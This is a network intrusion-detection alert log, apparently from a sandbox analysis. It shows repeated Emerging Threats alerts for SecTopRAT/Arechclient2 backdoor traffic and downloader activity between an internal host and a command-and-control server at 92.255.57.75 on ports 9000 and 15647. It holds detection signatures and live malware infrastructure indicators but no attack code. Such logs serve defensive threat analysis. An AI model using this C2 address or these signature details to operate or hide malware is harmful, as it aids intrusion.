2024-12-17T08:39:00.464951+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49821	92.255.57.75	9000	TCP
2024-12-17T08:39:00.464951+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49821	92.255.57.75	9000	TCP
2024-12-17T08:39:02.019628+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49825	92.255.57.75	9000	TCP
2024-12-17T08:39:02.019628+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49825	92.255.57.75	9000	TCP
2024-12-17T08:39:03.577912+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49830	92.255.57.75	9000	TCP
2024-12-17T08:39:03.577912+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49830	92.255.57.75	9000	TCP
2024-12-17T08:39:05.128780+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49834	92.255.57.75	9000	TCP
2024-12-17T08:39:05.128780+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49834	92.255.57.75	9000	TCP
2024-12-17T08:39:06.693785+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49840	92.255.57.75	9000	TCP
2024-12-17T08:39:06.693785+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49840	92.255.57.75	9000	TCP
2024-12-17T08:39:08.636750+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49843	92.255.57.75	9000	TCP
2024-12-17T08:39:08.636750+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49843	92.255.57.75	9000	TCP
2024-12-17T08:39:10.189374+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49849	92.255.57.75	9000	TCP
2024-12-17T08:39:10.189374+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49849	92.255.57.75	9000	TCP
2024-12-17T08:39:11.740538+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49853	92.255.57.75	9000	TCP
2024-12-17T08:39:13.300504+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49857	92.255.57.75	9000	TCP
2024-12-17T08:39:13.300504+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49857	92.255.57.75	9000	TCP
2024-12-17T08:39:14.862049+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49862	92.255.57.75	9000	TCP
2024-12-17T08:39:14.862049+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49862	92.255.57.75	9000	TCP
2024-12-17T08:39:16.422539+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49868	92.255.57.75	9000	TCP
2024-12-17T08:39:16.422539+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49868	92.255.57.75	9000	TCP
2024-12-17T08:39:17.985917+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49869	92.255.57.75	9000	TCP
2024-12-17T08:39:17.985917+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49869	92.255.57.75	9000	TCP
2024-12-17T08:39:19.535614+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49875	92.255.57.75	9000	TCP
2024-12-17T08:39:19.535614+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49875	92.255.57.75	9000	TCP
2024-12-17T08:39:21.096928+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49881	92.255.57.75	9000	TCP
2024-12-17T08:39:21.096928+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49881	92.255.57.75	9000	TCP
2024-12-17T08:39:22.657148+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49884	92.255.57.75	9000	TCP
2024-12-17T08:39:22.657148+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49884	92.255.57.75	9000	TCP
2024-12-17T08:39:24.205827+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49888	92.255.57.75	9000	TCP
2024-12-17T08:39:24.205827+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49888	92.255.57.75	9000	TCP
2024-12-17T08:39:25.764837+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49894	92.255.57.75	9000	TCP
2024-12-17T08:39:25.764837+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49894	92.255.57.75	9000	TCP
2024-12-17T08:39:27.382252+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49900	92.255.57.75	9000	TCP
2024-12-17T08:39:27.382252+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49900	92.255.57.75	9000	TCP
2024-12-17T08:39:29.039846+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49901	92.255.57.75	9000	TCP
2024-12-17T08:39:29.039846+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49901	92.255.57.75	9000	TCP
2024-12-17T08:39:30.598439+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49907	92.255.57.75	9000	TCP
2024-12-17T08:39:32.216083+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49913	92.255.57.75	9000	TCP
2024-12-17T08:39:33.767487+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49916	92.255.57.75	9000	TCP
2024-12-17T08:39:33.767487+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49916	92.255.57.75	9000	TCP
2024-12-17T08:39:35.319149+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49920	92.255.57.75	9000	TCP
2024-12-17T08:39:35.319149+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49920	92.255.57.75	9000	TCP
2024-12-17T08:39:36.880215+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49926	92.255.57.75	9000	TCP
2024-12-17T08:39:38.449955+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49932	92.255.57.75	9000	TCP
2024-12-17T08:39:38.449955+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49932	92.255.57.75	9000	TCP
2024-12-17T08:39:40.002886+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49933	92.255.57.75	9000	TCP
2024-12-17T08:39:41.567700+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49939	92.255.57.75	9000	TCP
2024-12-17T08:39:43.127027+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49945	92.255.57.75	9000	TCP
2024-12-17T08:39:44.700932+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49948	92.255.57.75	9000	TCP
2024-12-17T08:39:46.249325+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49952	92.255.57.75	9000	TCP
2024-12-17T08:39:47.815525+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49958	92.255.57.75	9000	TCP
2024-12-17T08:39:47.815525+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49958	92.255.57.75	9000	TCP
2024-12-17T08:39:49.376970+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49963	92.255.57.75	9000	TCP
2024-12-17T08:39:49.376970+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49963	92.255.57.75	9000	TCP
2024-12-17T08:39:51.010419+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49965	92.255.57.75	9000	TCP
2024-12-17T08:39:51.010419+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49965	92.255.57.75	9000	TCP
2024-12-17T08:39:52.568625+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49969	92.255.57.75	9000	TCP
2024-12-17T08:39:52.568625+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49969	92.255.57.75	9000	TCP
2024-12-17T08:39:52.601628+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	49975	92.255.57.75	15647	TCP
2024-12-17T08:39:53.497227+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	49975	92.255.57.75	15647	TCP
2024-12-17T08:39:53.804682+0100	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	92.255.57.75	15647	192.168.2.5	49975	TCP
2024-12-17T08:39:54.130170+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49976	92.255.57.75	9000	TCP
2024-12-17T08:39:54.130170+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49976	92.255.57.75	9000	TCP
2024-12-17T08:39:55.691778+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49980	92.255.57.75	9000	TCP
2024-12-17T08:39:55.691778+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49980	92.255.57.75	9000	TCP
2024-12-17T08:39:57.253205+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49984	92.255.57.75	9000	TCP
2024-12-17T08:39:57.253205+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49984	92.255.57.75	9000	TCP
2024-12-17T08:39:58.815345+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49989	92.255.57.75	9000	TCP
2024-12-17T08:40:00.376830+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49994	92.255.57.75	9000	TCP
2024-12-17T08:40:00.376830+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49994	92.255.57.75	9000	TCP
2024-12-17T08:40:00.552404+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	49998	92.255.57.75	15647	TCP
2024-12-17T08:40:01.754209+0100	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	92.255.57.75	15647	192.168.2.5	49998	TCP
2024-12-17T08:40:02.032401+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49999	92.255.57.75	9000	TCP
2024-12-17T08:40:03.581466+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50003	92.255.57.75	9000	TCP
2024-12-17T08:40:03.581466+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50003	92.255.57.75	9000	TCP
2024-12-17T08:40:05.143256+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50009	92.255.57.75	9000	TCP
2024-12-17T08:40:05.143256+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50009	92.255.57.75	9000	TCP
2024-12-17T08:40:06.710403+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50012	92.255.57.75	9000	TCP
2024-12-17T08:40:08.272183+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50018	92.255.57.75	9000	TCP
2024-12-17T08:40:08.272183+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50018	92.255.57.75	9000	TCP
2024-12-17T08:40:09.940579+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50023	92.255.57.75	9000	TCP
2024-12-17T08:40:09.940579+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50023	92.255.57.75	9000	TCP
2024-12-17T08:40:11.507934+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50028	92.255.57.75	9000	TCP
2024-12-17T08:40:11.507934+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50028	92.255.57.75	9000	TCP
2024-12-17T08:40:13.065884+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50032	92.255.57.75	9000	TCP
2024-12-17T08:40:13.065884+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50032	92.255.57.75	9000	TCP
2024-12-17T08:40:14.640387+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50037	92.255.57.75	9000	TCP
2024-12-17T08:40:14.640387+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50037	92.255.57.75	9000	TCP
2024-12-17T08:40:16.198426+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50042	92.255.57.75	9000	TCP
2024-12-17T08:40:16.198426+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50042	92.255.57.75	9000	TCP
2024-12-17T08:40:17.753325+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50045	92.255.57.75	9000	TCP
2024-12-17T08:40:17.753325+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50045	92.255.57.75	9000	TCP
2024-12-17T08:40:19.320271+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50051	92.255.57.75	9000	TCP
2024-12-17T08:40:19.320271+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50051	92.255.57.75	9000	TCP
2024-12-17T08:40:20.878082+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50056	92.255.57.75	9000	TCP
2024-12-17T08:40:20.878082+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50056	92.255.57.75	9000	TCP
2024-12-17T08:40:22.441671+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50057	92.255.57.75	9000	TCP
2024-12-17T08:40:22.441671+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50057	92.255.57.75	9000	TCP
2024-12-17T08:40:24.008171+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50058	92.255.57.75	9000	TCP
2024-12-17T08:40:24.008171+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50058	92.255.57.75	9000	TCP
2024-12-17T08:40:25.566238+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50059	92.255.57.75	9000	TCP
2024-12-17T08:40:25.566238+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50059	92.255.57.75	9000	TCP
2024-12-17T08:40:27.131140+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50060	92.255.57.75	9000	TCP
2024-12-17T08:40:27.131140+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50060	92.255.57.75	9000	TCP
2024-12-17T08:40:28.694148+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50061	92.255.57.75	9000	TCP
2024-12-17T08:40:28.694148+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50061	92.255.57.75	9000	TCP
2024-12-17T08:40:30.258168+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50062	92.255.57.75	9000	TCP
2024-12-17T08:40:30.258168+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50062	92.255.57.75	9000	TCP
2024-12-17T08:40:32.009289+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50063	92.255.57.75	9000	TCP
2024-12-17T08:40:32.009289+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50063	92.255.57.75	9000	TCP
2024-12-17T08:40:33.625877+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50064	92.255.57.75	9000	TCP
2024-12-17T08:40:33.625877+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50064	92.255.57.75	9000	TCP
2024-12-17T08:40:35.173584+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50065	92.255.57.75	9000	TCP
2024-12-17T08:40:35.173584+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50065	92.255.57.75	9000	TCP
2024-12-17T08:40:36.993112+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50066	92.255.57.75	9000	TCP
2024-12-17T08:40:36.993112+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50066	92.255.57.75	9000	TCP
2024-12-17T08:40:38.549695+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50067	92.255.57.75	9000	TCP
2024-12-17T08:40:38.549695+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50067	92.255.57.75	9000	TCP
2024-12-17T08:40:40.188892+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50068	92.255.57.75	9000	TCP
2024-12-17T08:40:40.188892+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50068	92.255.57.75	9000	TCP
2024-12-17T08:40:41.741496+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50069	92.255.57.75	9000	TCP
2024-12-17T08:40:41.741496+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50069	92.255.57.75	9000	TCP
2024-12-17T08:40:43.307658+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50070	92.255.57.75	9000	TCP
2024-12-17T08:40:43.307658+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50070	92.255.57.75	9000	TCP
2024-12-17T08:40:44.862394+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50071	92.255.57.75	9000	TCP
2024-12-17T08:40:44.862394+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50071	92.255.57.75	9000	TCP
2024-12-17T08:40:46.437222+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50072	92.255.57.75	9000	TCP
2024-12-17T08:40:46.437222+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50072	92.255.57.75	9000	TCP
2024-12-17T08:40:47.994131+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50073	92.255.57.75	9000	TCP
2024-12-17T08:40:47.994131+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50073	92.255.57.75	9000	TCP
2024-12-17T08:40:49.672022+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50074	92.255.57.75	9000	TCP
2024-12-17T08:40:49.672022+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50074	92.255.57.75	9000	TCP
2024-12-17T08:40:51.235724+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50075	92.255.57.75	9000	TCP
2024-12-17T08:40:51.235724+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50075	92.255.57.75	9000	TCP
2024-12-17T08:40:52.787570+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50076	92.255.57.75	9000	TCP
2024-12-17T08:40:52.787570+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50076	92.255.57.75	9000	TCP
2024-12-17T08:40:54.420212+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50077	92.255.57.75	9000	TCP
2024-12-17T08:40:54.420212+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50077	92.255.57.75	9000	TCP
2024-12-17T08:40:55.973736+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50078	92.255.57.75	9000	TCP
2024-12-17T08:40:55.973736+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50078	92.255.57.75	9000	TCP
2024-12-17T08:40:57.569885+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50079	92.255.57.75	9000	TCP
2024-12-17T08:40:57.569885+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50079	92.255.57.75	9000	TCP
2024-12-17T08:40:59.276395+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50080	92.255.57.75	9000	TCP
2024-12-17T08:40:59.276395+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50080	92.255.57.75	9000	TCP
2024-12-17T08:41:00.835233+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50081	92.255.57.75	9000	TCP
2024-12-17T08:41:00.835233+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50081	92.255.57.75	9000	TCP
2024-12-17T08:41:02.398209+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50082	92.255.57.75	9000	TCP
2024-12-17T08:41:02.398209+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50082	92.255.57.75	9000	TCP
2024-12-17T08:41:03.960547+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50083	92.255.57.75	9000	TCP
2024-12-17T08:41:03.960547+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50083	92.255.57.75	9000	TCP
2024-12-17T08:41:05.522627+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50084	92.255.57.75	9000	TCP
2024-12-17T08:41:07.084636+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50085	92.255.57.75	9000	TCP
2024-12-17T08:41:07.084636+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50085	92.255.57.75	9000	TCP
2024-12-17T08:41:08.642517+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50086	92.255.57.75	9000	TCP
2024-12-17T08:41:10.199171+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50087	92.255.57.75	9000	TCP
2024-12-17T08:41:11.813995+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50088	92.255.57.75	9000	TCP
2024-12-17T08:41:11.813995+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50088	92.255.57.75	9000	TCP
2024-12-17T08:41:13.378928+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50089	92.255.57.75	9000	TCP
2024-12-17T08:41:13.378928+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50089	92.255.57.75	9000	TCP
2024-12-17T08:41:14.943102+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50090	92.255.57.75	9000	TCP
2024-12-17T08:41:16.504251+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50091	92.255.57.75	9000	TCP
2024-12-17T08:41:18.067500+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50092	92.255.57.75	9000	TCP
2024-12-17T08:41:19.632701+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50093	92.255.57.75	9000	TCP
2024-12-17T08:41:19.632701+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50093	92.255.57.75	9000	TCP
2024-12-17T08:41:21.202349+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50094	92.255.57.75	9000	TCP
2024-12-17T08:41:21.202349+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50094	92.255.57.75	9000	TCP
2024-12-17T08:41:22.778402+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50095	92.255.57.75	9000	TCP
2024-12-17T08:41:22.778402+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50095	92.255.57.75	9000	TCP
2024-12-17T08:41:24.334455+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50096	92.255.57.75	9000	TCP
2024-12-17T08:41:25.892034+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50097	92.255.57.75	9000	TCP
2024-12-17T08:41:25.892034+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50097	92.255.57.75	9000	TCP
2024-12-17T08:41:27.457506+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50098	92.255.57.75	9000	TCP
2024-12-17T08:41:27.457506+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50098	92.255.57.75	9000	TCP
2024-12-17T08:41:29.064528+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50099	92.255.57.75	9000	TCP
2024-12-17T08:41:29.064528+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50099	92.255.57.75	9000	TCP
2024-12-17T08:41:30.608731+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50100	92.255.57.75	9000	TCP
2024-12-17T08:41:32.158177+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50101	92.255.57.75	9000	TCP
